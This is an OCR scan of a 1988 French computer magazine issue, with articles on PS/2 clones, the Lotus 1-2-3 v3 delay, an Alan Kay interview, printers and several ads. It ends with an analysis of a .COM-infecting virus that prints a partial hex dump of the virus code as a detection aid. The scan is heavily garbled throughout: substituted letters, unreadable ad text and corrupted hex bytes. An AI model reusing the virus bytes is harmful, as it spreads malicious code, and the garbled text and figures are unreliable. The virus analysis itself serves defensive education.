certains droits et de respecter certaines règles. Les droits étaient 
au passage légèrement augmentés, au prorata des brevets 
licenciés, pouvant atteindre 5% du revenu des ventes du 
dones. 

A supposer qu'il ait franchi tous ces obstacles, le construc- 
teur de clones est enfin prêt à vendre son équivalent PS/2 à bus 
Micro Charnel. Quel marché s'offre alors à lut? S'il veut 
ptéserver ses marges, il ne pourra pas, compte tenu des 
investissements consentis et des royalties versées, le commercia- 
liser à un prix très attractif, d'autant qu'IBM fait preuve d'une 
certaine agressivité sut ce créneau. Par ailleurs, elle annonce 
avoir déjà vendu 2 millions de PS/2 dans le monde. Des 
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enquêtes plus précises montrent que le marché américain est 
plutôt réticent vis-à-vis du PS/2, les utilisateurs préfétant 
conserver leurs AT et les < gonfler >. Sur les quelque 
1,2 million d'unités mises sur le marché américain, seulement 
750 000 seraient parvenues chez les utilisateurs, le reste étant 
stocké chez les revendeurs. La situation en Europe semble un 
peu meilleure. A l'inverse de leurs contrées américains, les 
distributeurs souffrent de ruptures de stocks. 

Ainsi se lancer dans la fabrication d'un clone PS/2 demande 
de gros moyens et doit répondre à une stratégie à long terme. 
Seuls les constructeurs les plus éminents pourront se le 
permettre. C'est peut-être ce que cherche IBM : rester entre 
gens du même monde. Il est cependant peu probable que cela 
conduise à un vrai standard 

ALAIN BARITAULT 

BÊMBÊSÊÊBM3ÊÊÊÈÈBÊÊ 

Une visite artentive du dernier Comdex Spring permet 
d'établir une liste exhaustive arrêtée au 1 5 mai. 

Il existe tout d'abotd deux répliques du PS/2 bas de 
gamme modèle 30 qui ne dispose pas du bus Micro Channel. 
Elles sont proposées par les groupes taïwanais Mitac et Acer 
représentés en France respectivement par La Commande 
Electronique et Compatible SA. 

Les clones MCA sont visibles quant à eux sous trois marques 
américaines. Tandy a ouvert le feu en annonçant le 2 1 avril à 
New York le modèle 5000 MC. Il se situe au niveau du PS/2 
modèle 80. Son microprocesseur est un 80386/20 MHz au 
lieu de 16 MHz pour l'IBM. Tandy exhibe à son sujet un 
accord de licence en bonne et due forme avec IBM pour les 
brevets déjà déposés. Ce n'est pas le cas de DeÛ et de 
Microdifect qui évoquent simplement des discussions en cours. 

Dell, c'est l'anti-Compaq. Ce constructeur court-drcuite les 
revendeurs en distribuant sa gamme en direct. Il est au- 
jourd'hui le numéro 7 sur le marché américain du PC. Sa 
gamme de' PS/2 compatibles MCA annoncée le 18 avril à 
Houston se compose de deux modèles : le System 400 
(80286/20 MHz) et le System 500 (80386/20 MHz). Us 
exploitent des composants Chips & Technologies, Western 
Digital et Phoenix. Leurs prix ne seront fixés qu'en août 
prochain, et les premières livraisons n'interviendront pas avant 
le dernier trimestre. La dernière venue est Microdirect. Son 
386/20 MHz a été développé pat la société canadienne Zykor 
qu'elle vient de rachetet. Il renferme trois bus : AT, MCA et 
DMA. Destiné aux marchés des applications scientifiques et la 
CAO, il seta disponible en petites quantités à partir de la fin 
juillet. Prix: 8 500 à 18 000$. 

MICHEL BARREAU 



Commandez votre IPC en direct 
et vous bénéficierez du Contrat 
Garantie Systec. 



r 



Contrat Garantie Systec 





POUR COMMANDER 

1. vous pouvez utiliser au choix: 

Courrier, télex, télécopie, téléphone ou 
notre bon de commande détachable. 

2. vous devez joindre ou faire suivre un 
chèrjue, du montant ttc de la 
commande, libellé à l'ordre de Systec SA. 
LIVRAISON 

8 à 15 jours à dater de la commande, 
franco de port. 
GARANTIE 

Totale 1 an, pièces et main-d'œuvre. 
Les micros IPC, comme tous les matériels 
informatiques que nous commercialisons 
depuis 8 ans iMonroe, Sprite, Trumpcard 
Upid, bénéficient du S.A.v. Systec. 




S.A.V. Systec 

Région Parisienne. 
Enlèvement par nos soins, 
entrée en atelier, livraison : 
Délai maxi 24 heures après 
appel téléphonique 
Province. 

Réexpédition sous 24 heures 
après réception en atelier 



Le S.A.V. Systec c'est aussi une 
permanence téléphonique courtoise et 
efficace oui peut dans bien des cas 
"solutionner les petits problèmes". 
Pour recevoir une documentatio n 
Télépnonez au 
(1U5 89 01 20 
ou adressez-nous votre carte de visite. 



CENTRE DE DEMONSTRATION 


Le Centre de Démonstration Systec 

vous permet de tester en toute liberté 

les IPC avant de passer commande. 

Le Centre est ouvert de 9 à 21 h, 

sauf samedi et dimanche. 




BON DE COMMANDE 


MODELE 
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TVA 18,60 % 






TOTAL T.T.C. 
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On n'a jamais fini d'aller plus loin 






IMPRIMANTES 
CHAMPIONNES 
D'EUROPE 

Une imprimante est comme un athlète. Difficile, à 
première vue, de dire si celle-ci ESI meilleure que 
celle-là. La différent', la Maie, c'est la compétition 
qui la révèle. Comment les hommes de Mannesmann 
Tally ont-ils fait de leur firme le premier spéei.ilisle 
européen de l'imprimante '.' Hn aillant pour rester les 
meilleurs, sur Irais terrains : la gamme, les 
performances ei la présente. La gamme la plus 
complète. Des performances qui n'oublient pas un 
détail-clé : le papier esi plus difficile à manier qu'à 
imprimer, Et celte capacité, unique, de mettre en face 
de vous, avant ci après la vcnle. partout en France. 
quelqu'un qui sail de quoi il parle. Résultai ; une 
eap.ieré de reporte e\cep;a.m:ielle à mus les défis. 




MANNESMANN 

TAUCT 



"Pour mes transmissions de données.!. 




je consulte FRANCE TELECOM". 



ACTUALITES 



LOTUS: LA VERSION 3 
PREND DU RETARD 



Trois jours consacrés entièrement à Lotus. Le premier < Lotus World > 
à la française vient d'avoir lieu. En vedette, une pluie à'add-m 
à défaut de 1-2-3 v3 dont la sortie est reportée à l'automne. 



Lotus estime à 120 000 
Je nombre des utilisateurs 
français de ses logiciels. 
Aussi I éditeur, qui ne parti- 
cipait pas au dernier Sicob, a 
pensé qu'il était opportun de 
montrer ouvertement quelle 
était l'ampleur de la synergie 
qu'ils étaient capables de 
créer. Trente sociétés ont ré- 
pondu à l'appel lors du 
Monde Lotus qui s'esr tenu 
pendant trois jours à Paris en 
avril 1988. Des dévelop- 
peurs d'add-in, bien sûr, 
mais aussi des constructeurs 
tels qu'IBM. Hewlett Pa- 
ckard ou Compaq, et des 
prestataires de services en 
tout genre, à commencer par 
la formation. 

Présent à Paris pour célé- 
brer certe première française, 
Jim Manzi, président de 
Lotus, nous confiait qu'il 
s'acheminait vers un nou- 
veau record : 4 millions de 
tableurs vendus. Jim Manzi 
annonce également le pro- 
chain portage de 1-2-3/3 
sous Unix Système V. Seule 
ombre au tableau : le retard 
de la- version 3 de 1-2-3 
pour des raisons de réduc- 
tion du code et d'optimisa- 
tion. 

Philippe d'Argent, prési- 
dent de Lotus France, s'en 
explique ; « Nous ne pou- 
vons nous permettre la 
moindre erreur sur un pro- 
duit aussi stratégique. > I! 
ajoute que cela ne devrait pas 
L'ORDINATEUR INDIVIDUEL N« 104/JU1N h 



avoir d'incidence sur la date 
de sortie de la version fran- 
çaise, car c ce qui retarde 
l'édition d'un logiciel, c'est 
sa documentation ». Dans le 
cas présent, les spécifications 
du produit sont arrêtées, et la 
francisarion peut donc être 
effectuée, tandis que le code 
passe à la compression. 

Selon Steve Crummey, 
vice-président des venres de 
Lotus, les clients auraient très 
bien réagi à cette annonce sur 
des variantes de : < Livrez le 
quand il sera prêt. We love 



you. » Il a ajouté que 1-2- 
3/3 avait été conçu par les 
clients de Lotus. < Nous 
avons eu à écrire le code, 
mais ce sont eux qui onr 
établi les spécifications. La 
raison pour laquelle il sou- 
lève un tel enthousiasme, 
vient de ce que les gens nous 
disent qu'il correspond exac- 
tement à ce qu'ils atten- 
daient.. > 

Ceux qui ne se formali- 
sent pas du tout de ce retard 
sont les développeurs d'add- 
in s'fxéaitanr sous la version 




actuelle de 1-2-3. Rappe- 
lons que celle-ci offre un 
environnement multitâche à 
partir du tableur. Les add-in 
ont donné une troisième vie 
à 1-2-3 version 2.0 en lui 
ouvrant des possibilités pres- 
que illimitées. Lotus semble 
d'ailleurs s'orienter vers un 
futur où les versions 2.0 et 
3.0 continueront d'êrre 

■..!,: .:■ ,i ...... ■ ij .':■ i ■ 

Ces trois jours ont permis 
de mesurer l'intense imagi- 
nation dont font preuve les 
développeurs d'add-in. Jo- 
seph Haddad d'Aleph II, 
société française qui exporte 
ses produits aux Etats-Unis, 
repousse continuellement les 
limiresde 1-2-3. Son add-in 
Grafmania offre un libre 
choix de couleurs, la possibi- 
lité d'agrandir le nombre de 
lignes et de colonnes affi- 
chées à 160 X 60 er permer 
de superposer un graphique 
sur le tableur. Flash-in auto- 
rise le couper-coller entre 
deux feuilles affichées à 
l'écran. Déjà ! version 3-0 
comporte une gestion d'in- 
dex qui accélère notable- 
ment les analyses d'un fichier 
dBase. 

La société Abcyz a fran- 
cisé un excellent traitement 
de texte accessible sous 1-2- 
3 et nommé Write-in. La 
combinaison des deux esr 
particulièrement efficace 
pour les mailings. PC Tech- 
nologie imporre la version 
Plus du compresseur SQZ ! 
tandis que Octopus propose 
. un add-in de liaison aux 
IBM 36. Il n'y avait qu'un 
absent de marque... Oracle 
Corp qui met désormais en 
avant son add-in reliant 1-2- 
3 et Oracle pour séduire des 
utilisateurs de PC. 

DANIEL ICHBIAH 
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EN SEPTEMBRE 

LA MICRO 

ESTAI! 

SPECIAL SICOB 

SICOB SPÉCIAL MICRO, LE RENDEZ- VOUS PROFESSIONNEL. 
En 1988: 5'i'i 000 tmilés professionnelles seront vendues et plus de 802 000 en 1992. Voilipour- 
quoiSicoh Spécial Micro existe 11 su Lcnd:adi; l'-iau 24septemtae,aumomentiiû toutsc iouccu 
matière d'investis'.emL.Tii Micro. Il réunira f:ihrif;in7s. disinbu:curs et utilisateurs professionnels, 
sélectionnés parmi les 195 000 visiteurs du Sicob 88. 



SICOB SPÉCIAL MICRO, 3 ÉVÉNEMENTS PHARES. 

Aujourd'hui, 70.R 1 !'!. des entreprises de moins de 10 sa lu ri es et 63.3'ifi des entrepi 
de 10 à 200 salaries l'oni appel à la distribution pour s'équiper en matériel infor- 

- i -i :.i ... ]_c- i' iv: -. :■ -■ v . ,v-:s.v. ■■ .1:.- 1:. rilsiri botion lii lpniiaii t|iif i organisée- avec DLsEributiqin . 

Le Club National de l.i Distribution ei avec la participation de la FLTHP) : .cur permettront de 



i ver solutions cl partenaires, 
ites les entreprises se doi 
is du marché. Les Ktr.csd '::.-■ 



<1 



Jœckf— 



■.) leur (ou ni iront toute' 
rganisationnel. 



LE RENDEZ-VOUS DAUTOMNE DE LA MICRO PROFESSIONNELLE. 

Minitel 36.15 Code Sicob. Renseignements : 42.61.52.42. 
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ALAN KAY... 



Prophète des temps modernes, Alan Kay distille son message 

dans les fêtes foraines de l'industrie informatique. Devant la simplicité 

des découvertes de la vedette du Xet ox Parc, le commun 

des morrels craque de plaisir et d'angoisse. Plaisir de l'entendre, 

angoisse de ne pas tout saisir. 



Apple Fellow (un titre 
équivalent à celui de vice- 
président à vie), membte du 
Board scientifique d'Arthui 
Andersen, professeur . au 
MIT(2), Alan Kay parcourt 
l'Amérique pour évangéliser 
les entreprises et les individus 
à l'universalisme scientifique 
du XVIII e siècle, modèle ca- 
lifornien. Fortune faite, le 
précurseur du Macintosh ne 
se soucie plus des critiques. II 
nous a accordé un entretien 
particulier. 

L'Ordinateur indivi- 
duel : Que sera, selon vous, 
la technologie en l'an 2000 ? 

Alan Kay : Les écrans 
cathodiques resteront une 
technologie clé, et l'on conti- 
nuera à utiliser le silidum, 
car on sait le travailler. De 
grands progrès sur l'arsé- 
niure de gallium sont ac- 
complis, mais les Japonais 
parviennent à réduire pro- 
gressivement l'espace occupé 
par un transistor. On peut 
imaginer que les micro-ordi- 
nateurs seront un jour pro- 
duits par impression et as- 
semblage de couches 
successives de silicone... Je 
crois que les écrans feront 
appel à la technique de 
t migration des particules >, 
qui offre un excellent 
contraste, permet de conce- 
voir des écrans en couleurs et 
produit des images sans dé- 



formation liée à l'angle de 
vue. Le micro-ordinateur de 
l'an 2000 ressemblera au 
Dynabook^ 1 . Les gens se- 
ront convaincus de la néces- 
sité des réseaux, et dans tout 
bâtiment, chaque pièce sera 



dère que le hardware n'est 
que du software cristallisé 
très tôt et que, par consé- 
quent, la création d'un ordi- 
nateur renvoie à la concep- 
tion d'un logiciel. Le but 
consiste à créet le software le 




équipée de fils pout les 
connexions. 

L'Oi : Comment défim- 
rkz-vous la machine du 
futur? 

A.K. : Au Parc, on consi- 



plus performant, capable de 
travailler avec les langages de 
programmation les plus 
élevés. Nous ne souhaitons 
plus voir des armées de pro- 
grammeurs en Cobol. De 



même pour l'IA : on a be- 
soin de techniques dynami- 
ques de stockage de don- 
nées, de langages orientés 
objet... 

L'Oi : Critiquez-vous les 
langages les plus utilisés ? 

A.K. : On réinvente la 
roue. Bill Gates a redécou- 
vert Jos (créé par Rand 
Corp, en 1962), l'ancêtre de 
nos langages de program- 
mation interactive. Si nous 
avions pu utiliser Jos au lieu 
de Basic, nous aurions pro- 
gressé beaucoup plus vite. La 
plupart des développeurs 
préfèrent concevoir un logi- 
ciel qui leur soit propre à 
95 % que développer un 
produit génial en utilisant ce 
qui a déjà été créé. 

L'Oi : Qualifiez-vous vos 
découvertes d'évidences ? 

A.K. : Certaines idées 
crèvent l'œil. Celles du 
Xerox Parc étaient présentes 
dès les années soixante-dix, 
mais il a fallu attendre 1983 
pour voir la création du Lisa, 
1984 pour celle du Macin- 
tosh et 1987 pour celle du 
Multifinder, qui réproduit - 
grossièrement - les caracté- 
ristiques du Lisa. De concep- 
tion supérieure à celle du 
Macintosh, ce dernier fut 
< incarné > dans un mauvais 
hardware et lancé sur un 
marché qui n'était pas prêt. 
C'est à la LaserWriter que 
tevient, à mon sens, la palme 
de cette décennie. La qualité 
de ce produit génial a modi- 
fié les comportements 
d'achat. 7 000 $ pour un tel 
équipement n'a pas été es- 
timé comme une somme in- 
surmontable, et, pour la pre- 
mière fois, la qualité et non le 
prix a déterminé l'achat. Au- 
jourd'hui, le marché est ou- 
vert au Lisa. Macintosh II est 



en fait un génie de Lisa : une 
machine très puissante qui 
vaut réellement son prix. 

L'Oi : Que pensez-vous 
du CD-ROM'' 

A.K. : C'est, une techno- 
logie importante pour l'ave- 
nir, mais imparfaite. Les dis- 
ques CD-ROM sont 
l'aboutissement d'un proces- 
sus d'améliorations successi- 
ves. Mais le lésultat n'est pas 
économique. 30 % seule- 
ment de la capacité des dis- 
ques CD-ROM sont utilisés, 
le reste étant consacré à la 
protection des données. 
Nous aurons probablement 
à supporter cette situation les 
vingt-cinq prochaines 
années. Cela me rappelle 
l'histoire du gamin de New- 
York auquel on demande 
pourquoi il a brisé une vitre 
et qui répond ; « Parce que 
j'en avais la possibilité. > La 
technologie CD-ROM est 
une illusttation de ce 
comportement : la (très im- 
parfaite) digitalisation des 
images et des sons constitue 
un standatd de facto qui 
empêchera toute améliora- 
tion dans un avenir proche. 
Il sera certainement possible 
de stocker des informations 
de façon beaucoup plus effi- 
cace d'id quelques années. 
Les gens pensent que les 
disques CD-ROM contien- 
nent cinq cents mégabytes, 
mais cela ne représente que 
deux cents livres, ce qui n'est 
rien ! Et route modification 
doit être faite manuelle- 
ment !... 

La technologie n'est pas 
au point. Pire, le procédé 
CDI ne tient pas compte de 
la puissance des ordinateurs 
qui lisent l'information. 
J'avais conseillé de procéder 
comme pour PostScript : 



établir un protocole indé- 
pendant de la tésolution, 
afin que l'on puisse tirer 
parti de la puissance de l'or- 
dinateur. Cela n'a pas été 
fait, et nous sommes donc 
confrontés à de terribles limi- 
tations. La raison du succès 
de PostScript tient à la qua- 
lité de ses inventeurs : ils 
venaient du Xerox Parc. 

L'Oi : Le Parc est-il tou- 
jours aussi productif? 

A.K. : Il ne s'y fait plus 
grand-chose d'intéressant. 
L'équipe de départ rassem- 
blait le plus grand nombre 
d'informatidens de haut ni- 
veau jamais concentré en un 



L'Oi : La technologie a- 
t-elle vraiment progresse 
depuis la création d'Apple ? 

A.K. : Avant, Apple ne 
possédait pas véntablement 
de département de recher- 
che. On s'émerveille des fon- 
dateurs en culones courtes 
qui ont inventé les Apple I et 
II, et l'on oublie les docteurs 
es science informatique d'In- 
tel et de Motorola, les inven- 
teuts des puces qui ont 
permis la création de ces 
ordinateurs. Wozniak était 
un concepteur ingénieux, 
mais les fondations étaient 
déjà là. Quant au Mac, la 
recherche de fond a réelle- 



qui nous aurait entraînes sur 
la voie de l'IA ; c'est pour- 
quoi notre interface est telle- 
ment interactive : l'homme 
conduit véritablement la 
machine. 

L'Oi : Comment voyez- 
vous l'avenir ? 

A.K. : La salle des catalo- 
gues de la Bibliothèque du 
Congrès est immense. Vous 
n'accédez pas à cette salle, 
vous êtes accueilli à l'entrée 
par un conseiller qui agit en 
quelque sorte comme votre 
agent. Cela préfigure le 
monde vers lequel nous évo- 
luons où nous aurons besoin 
d'< agenrs s pour exploiter 



...UN GOUROU! 
SORTI DU PARC' 1 ! 



lieu. En 1976, cinquante- 
huit des cent sdentifiques les 
plus créatifs en informatique 
au monde travaillaient au 
Parc. C'est un aeddent de 
l'histoire qui résulte de la 
conjonction de la réduction 
drastique des budgets gou- 
vernementaux pour la re- 
cherche et de la création de ce 
centre, doté de ressources fi- 
nancières importantes. Pour 
la première fois, des universi- 
taires examinaient les possi- 
bilités de travail en dehots 
du cadre de l'université. 
Après 1a concepuon de l'Alto 
comme une station de tra- 
vail, et mes techerches sur les 
écrans et les fenêtres, le pre- 
mier micro-ordinateur fut 
créé en trois mois. A l'épo- 
que, il fallait concevoir le 
microprocesseur sur mesure, 
mais l'incroyable concentra- 
tion de créateurs rendait cela 



ment été payée par Xerox : 
cent millions de dollars onr 
été investis, aboutissant à des 
découvettes inexploitées 
avant qu'Apple ne recrute 
des chercheurs du Parc. 

L'Oi : Où en sont vos 
recherches sur l 'interface-uti- 
lisateur? 

A.K. : C'est ia seule chose 
que l'utilisateur voit de la 
machine. Historiquement, 
on a amélioré le pouvoir de 
l'homme de deux façons. La 
première consistait à accroî- 
tre la puissance des outils à sa 
disposition (afin qu'il puisse 
voir plus loin, se déplacer 
plus vite, etc.) et à amplifier 
l'effort individuel. L'autre 
consiste à faire accomplir une 
partie de sa tâche par d'au- 
tres. La création d'entreprises 
procède de cette approche. 
Dans nos travaux sur le Dy- 
nabook, nous avions banni 
le prindpe de la délégation 



une masse de données. Il 
nous faut créer des ordina- 
teur auxquels on puisse dé- 
léguer. 

Le mot dé sera « flexibi- 
lité > plutôt qu'intelligence. 
Le pire consisterait à rraiter 
avec un agent doté d'une 
intelligence rigide, car il dé- 
truirait les fichiers. Nous 
aurons besoin d'agents qui 
intègtent la vision du monde 
de l'utilisateur et l'orientent 
sur un autre dans le réseau. 
Ce serait un agent socrati- 
que ! 



PROPOS RECUEILLIS 

À LOS ANGELES 

PAR ALEX-SERGE VIEUX 



(!) Pah Alto Research Center. 

(2) MIT, k célèbre 
Massach useits Insritu ce of 
Technology. 

(3) Le Dynabook trait un projet 
île !iva--ordiruueur interactif 
développe par Alan Kay au Pare. 
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LES IMPRIMANTES TOUS AZIMUTS 

Face aux nouvelles techniques, laser et jet d'encre, 

les imprimantes à aiguilles continuent de progresser. Elles restent 

largement en tête des ventes. 



Périphérique indispensa- 
ble, l'imprimante évolue 
aussi rapidement que les 
unira or. traies. En quelques 
années, les exigences des uti- 
lisateurs ont évolué. La véné- 
rable marguerite est prati- 
quement abandonnée. En 
revanche, les matricielles à 
impact résistent étonnam- 
ment bien aux dernières 
venues, jet d'encre et laser.- 
Pour justifier leurs nouvelles 
gammes, les constructeurs 
exhibent analyses de marché 
et études prospecrives. A 
partir de sources Dataquest. 
Hewlett Packard scrute le 
marché européen en chiffre 
d'affaires, et Epson le mar- 
ché français en nombre 
d'unités. 

Les imprimantes à aiguil- 
les sont et resteront pour 
plusieurs années encore les 
modèles les plus vendus. 
Economiques à l'achat et à 
l'usage, polyvalentes et de 
plus en plus rapides, elles 
continuent d'offrir un bon 
compromis. Elles représen- 
taient 70 % du marché eu- 
ropéen des imprimantes en 
1986. En 1991, elles de- 
vraient encore peser 42 %du 
chiffre affaires européen er 
près de 76 % des ventes en 
France ! Selon HP, les impri- 
mantes page passeraient en 
Europe de 20 r 7r du marché 
en valeur en 1986à47%en 
1991. Epson prédisanr pour 
sa part 15 % d'imprimantes 
laser vendues en France la 



même année. On note donc 
une même tendance : la 
montée des imptimantes 
page (c'est-à-dire laser, au 
moins actuellement) avec 
une bonne, voire une très 
bonne résistance des matri- 
cielles à impact. 
Quant au nombre d'im- 



rent présenter les modèles à 
jet d'encre comme des 
concurrentes de matricielles 
haur de gamme. Silence et 
qualité d'impression face à la 
possibilité d'imprimer sur de 
giaudes largeurs plusieurs 
renfiles à la fois. 

Le Sicob a vu les nou- 




primantes à jet d'encre, leur 
courbe de vente suivrait 
grossièrement celle de leurs 
consoeurs à laser, avec un 
chiffre d'affaires beaucoup 
plus faible, en raison de leur 
prix de vente très inférieur. 

Aujourd'hui, les meilleu- 
res d'encre elles rravaillenr 
avec une définition égale à 
leurs homologues à laser, et 
l'impression en couleurs est 
désormais maîtrisée dans le 
cadre de cette technique. Ce- 
pendant, aucun constructeur 
ne propose une imprimante 
à jet d'encre capable de 
concurrencer les modèles à 
laser dans le secteur de la 
micro-édition. Tous préfè- 



veautés se multiplier. 

Epson présentait sa 48 
aiguilles, prévue pour sep- 
tembre ou octobre à moins 
de 20 000 F ht ainsi que la 
DFX-5000, une 9 aiguilles 
ultra-tapide, 178 lignes de 
136 signes/ minute, soit 
400cps(18900Fht). 

Citizen s'intéresse au 
marché de l'entrée de 
gamme de la micro-édition 
avec la HQP 40, une 24 
aiguilles, couleur, 80 colon- 
nes, vendue 6 265 F ht avec 
le logiciel de mise en pages 
Gem Desktop Publisher 
distribue par Software Tech- 
nologies. 

Autre prétendant à l'im- 



primante 24 aiguilles. 1.32 
colonnes la moins chère du 
marché, Amstrad, avec la 
LQ 5000. 288 eps (96 eps 
en qualité courrier), interfa- 
ces série et parallèle en stan- 
dard. L'ensemble pour 
4 490 F ht. 

Fujitsu attaque le marché 
des lasers avec trois modèles : 
la RX 7300, 17 pages/ 
minute, quelle que soit la 
densité de la page (selon le 
constructeur), 72 000 F ht ; 
la RX 7200, 12 pages/ 
minute, 32 000 F ht, dispo- 
nible pour la fin de l'année ; 
la RX 7100, une 5 pages/ 
minute d'une taille très ré- 
duite vendue 17 500 F ht et 
disponible en septembre. 

Le club des lasers Post- 
Script s'élargit de plus en 
plus. La Mannesmann Tally 
MT910/U est une 10 
pages/minute avec 39 poli- 
ces et DDL en plusde Post- 
Script (43 900 F ht). Hew- 
lett Packard et Canon ont 
signé des accords pour la 
distribution de la carte 
PostSctipt QMS Jetscript, 
on l'ajoute respectivement 
sur la HP LaserJet Série II 
(imprimante : 23 900 F ht, 
carte ; 2 1 22 1 F ht) et sur la 
Canon LBP8 II (impri- 
mante : 19 800 F ht en ver- 
sion de base, 24 800 F ht en 
version double bac et 
30 800 F ht en version dou- 
ble bac recto- verso). 

Du côté des imprimantes 
à jet d'encre, signalons enfin 
la HP DeskJet. Une défini- 
tion de 300 ppp pour une 
vitesse d'imptession de 
120 eps (240 en qualité lis- 
ting), avec quatre polices de 
caractères en standard. Prix : 
8 490 F ht. 

PATRICE DESMEDT 
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VIRUS : 

DES NOUVELLES DU 

FRONT 

L'annonce de l'arrivée des virus informatiques dans les disques durs a suscité un émoi bien 

compréhensible* . Les interventions recueillies sur le serveur télématique de L 'Oi témoignent 

d'une inquiétude latente, ravivée à la première anomalie de fonctionnement du disque. Afin de 

clarifier la situation, nous avons doné, bouturé 

et analysé l'un de ces virus. Utilisateurs, soyez rassurés. Il n'y a vraiment pas de quoi 

s'enrhumer. 



Depuis que l'on sait que des plaisantins ont disséminé des 
logiciels piégés, les utilisateurs, qui installent régulièrement de 
nouveaux logiciels sur leur ordinateur, tremblent. La rumeur 
est d'autant plus forte que l'ennemi reste invisible. Tout le 
monde, spécialement ceux qui n'ont pas encore été contaminés, 
parle des virus. Au moindre hoquet du disque dur (il peut lui 
arriver de dérailler un peu, s'il n'a pas été reformaté depuis 
longtemps), le diagnostic, à priori, est l'attaque virale. Bien 
entendu, ce n'est presque jamais exact. 

L'attitude inverse est tout autant irresponsable : nier 
l'existence des virus parce qu'on n'en a pas encore vu un, c'est 
risquer d'aboutir à une amère déconvenue, un jour ou l'autre. 
On ne combat efficacement un ennemi que lorsqu'on le 
connaît bien. Il est donc temps d'exorciser le phénomène. Ces 
petites bêtes existent effectivement. Certaines sont moins 
nocives que d'autres. Nous en avons attrapé une, juste avant 
qu'elle ne se tapisse dans les fichiers infectés et ne devienne, de 
ce fait, invisible. La dissection est riche d'enseignements, et en 
quelque sorte rassurante : l'éradication du virus ne réclame pas 
forcément le reformatage du disque dur. 



Un virus démasqué ! 

Il se nomme ÎRV-Vandermeerschensis, en l'honneur de 
notre correspondant d'outre-Quiévrain qui l'a isolé, juste avant 
qu'il n'investisse son propre disque dur. Il s'agit d'un virus- 
retard (RV), du type AIDS (Algorithm Induced Destructive 
Software), comme se plaisent à dire les auteurs de tels logiciels. 
Par rapport à ses congénères, celui-ci présente la particularité de 
compta le nombre de ses réplications dans un fichier donné, 
avant de se déclencher de façon pseudo-aléatoire (en fonction 
de la valeur du amer). Il est aussi un peu moins toxique, car il 
se contente de bloquer le fonctionnement du programme 
infecté, sans détruire pour autant les données du disque dur. 



C'est pourquoi nous en publions l'étude, pour l'édification des 
utilisateurs de logiciels. Sa relative innocuité fait qu'il ne servira 
pas à donner des idées aux développeurs de virus : la technicité 
de rédaction d'un tel piogramme montre à l'évidence que ces 
derniers n'ont pas besoin de conseils en la matière. En revanche, 
la compréhension de son fonctionnement permettra aux 
usagers moins avertis de mieux apprécier leur éventuel 
problème de disque dur, et de ne pas incriminer systématique- 
ment un quelconque virus. 

Le milieu de culture 



*Lirc à œ sujet les âmdes parus dansY.' Oui" 102 et 10}. 



Ce virus 1RV est un petit bout de 
octets, qui peut se nicher dans la 
procédure d'installation d'un progi- 
ciel, voire un simple programme 
Basic. Dans ce cas, il est placé en 
Data, puis transféré dans un fichier- 
disque ouvert en écritute. Ce dernier 
est ensuite activé pat un < SHELL 
nom-de-fichier >, et finalement dé- 
truit par c KILL >. Ainsi, même les 
listes Basic sont à suspecter : avant 
d'exécuter un nouveau programme, 
il sera sage d'inspecter la source 
(rechercher l'éventuelle liste de don- 
nées, les ouvertures de fichiers sur 
disque, et les sorties par SHELL). S'il 
peut venir d'à peu près n'importe où, 
ce virus est, en revanche, sélectif en ce 
qui concerne son milieu de culture. 
En effet, son < ADN > est conçu 
pour se loger dans tous les fichiers 
.COM qu'il rencontrera sur son che- 
min (fichiers cachés et système 
compris). A cette fin, il commence 



code de moins de 350 



LA CHRONIQUE 

D'ALAIN 

MARIATTE 




Chaque mois, 
un coup de cœur - 
ou un coup 
de gueule -, 
ie point de vue et 
les conseils du 
praticien sur les 
nouveaux matériels 
et extensions PC. 



ACTUALITES 



par se dupliquer en mémoire vive, puis ouvre une DTA (Dara 
Transfert Area) dans laquelle il charge successivement tous les 
fichiers .COM qu'il trouve. Il les réécrit ensuite sur disque, 
mais avec un en- tête particulier, qui n'est autre que son propre 
code. Par la suite, chaque invocation d'un fichier .COM 
contaminé conduit au même processus, mais avec mise à jour 
d'un compteur de réplication (étiquette GENERATION). 
Cela signifie que la prolifération peut atteindre différents stades 
dans les fichiers .COM, ce qui rend le dépistage difficile. 

Le crash 

Ce virus-retard a la propriété de se réveilla pseudo- 
aléatoirement dès la cinquième génération, ce qui déroute 
encore l'utilisateur malchanceux. En effet, dès la cinquième 
invocation du programme contaminé, une partie du code viral 
va examiner le contenu du rimer-système (400 :06Ch), et 
décide de se déclencher ou non en fonction du contenu de 
l'octet codant les dixièmes de seconde. Il s'ensuit un comporte- 
ment erratique de l'ordinateur, propre à aggraver la tension 
artérielle de l'utilisateur : la < plante > survient de manière 
apparemment aléatoire, avec un message sans équivoque mais 
non définitif (< achetez Pixel pour savoir comment guérir >). 

En effet, le code viral comporte une signature permettant à 
un < contre-poison > logiciel d'évacuer (moyennant finances 
probablement) la partie létale des fichiers .COM contaminés. 11 
va sans dire que la plaisanterie s'arrête là où commence le délit 
de vente forcée. Sachant ce qui précède, la curation simple et 
gratuite consiste à remplaça tous les fichiers .COM du disque 
par leurs équivalents sains, ou à en extraire l'en-tête frauduleux 
avecDebug. 

Quelques mesures de 
prévention 

Les virus de type 1RV signalent leur activité par des écritures 
régulières en mémoire de masse. Le conseil classique pour la 
protection en écriture d'une disquette contenant le programme 
suspect reste donc d'actualité. Tout message d'areur signalant 
l'impossibilité d'écrire sur disque identifiera le programme 
contaminé. Ne pas oublia à cet instant que les fichiers cachés 
des PC-DOS se suffrxent aussi .COM ! 

Une mesure sage (pour les techniciens avertis) consiste par 
ailleurs à examiner sous Debug les premiers octets de code de 
tout nouveau programme .COM entrant pour la première fois 
dans l'ordinateur. Ci-après le code à suspecter légitimement : 



0ÎOO ÈB 14 90 49 56 00 2A 2E 43 4F 4D 00 4F 04 00 00 

0110 01 00 00 00 00 00 8C C8 05 00 10 8ECOFE06 05 

0120 01 BE00 01 33 FF B9 4F 01 F3 A4 BA 5F 02 B4 1A 

01 30 CD 21 BA 06 01 B9 1 6 00 B4 4E CD 21 72 60 BA 7D 

0140 02B8 02 3DCD21 A3 14 01 8B D8 06 1FBA4F03 

0150 B9FFFFB4 3FCD21 05 4F 03 2E A3 12 01 3E 81 

0160 3E 52 03 49 56 74 21 33C9 8BD1 2E8B1E14 01 

0170 B8 00 42 CD 21 7211 BA 00 00 2E 8B OE 12 01 2E 

0180 8B1E 14 01 B4 40 CD 21 2E8B1E 12 01 B4 3ECDK 



01 90 21 OE 1 F B4 4F BA 5F 02 CD 21 72 02 EB AO BA 80 
01 AO 00 B4 1 A CD 21 80 3E 05 01 05 72 5B B8 40 00 8E 
01 BO D8 A1 6C 00 OE 1 F 25 01 00 74 4C BA C4 01 B4 09 
